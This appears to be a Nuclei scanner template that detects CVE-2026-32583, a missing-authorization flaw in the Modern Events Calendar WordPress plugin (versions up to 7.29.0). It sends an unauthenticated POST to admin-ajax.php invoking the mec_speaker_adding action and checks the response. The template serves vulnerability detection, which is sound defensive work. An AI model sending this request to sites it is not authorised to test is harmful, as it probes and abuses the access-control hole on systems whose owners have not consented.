Webnus Inc. Modern Events Calendar - Broken Access Control

id: CVE-2026-32583

info:
  name: Webnus Inc. Modern Events Calendar - Broken Access Control
  author: theamanrawat
  severity: medium
  description: |
    Webnus Inc. Modern Events Calendar <= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.
  impact: |
    Attackers can bypass authorization and access restricted functionality or data, potentially compromising system integrity.
  remediation: |
    Update to the latest version beyond 7.29.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32583
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-32583
    epss-score: 0.007
    epss-percentile: 0.48653
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: webnus
    product: modern_events_calendar
    framework: wordpress
  tags: cve2026,cve,wordpress,wp-plugin,wp,mec,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=mec_speaker_adding

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "mec_fes_speakers"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022053f4340241bb965f78b33d6e97dbc6894abb1d468e610e9be277b3cd423e74b2022100f749e290284d6593cf06fc4b3a7bd3b901cf2bb80abe94e2529d63c505bd9095:922c64590222798bb761d5b6d8e72950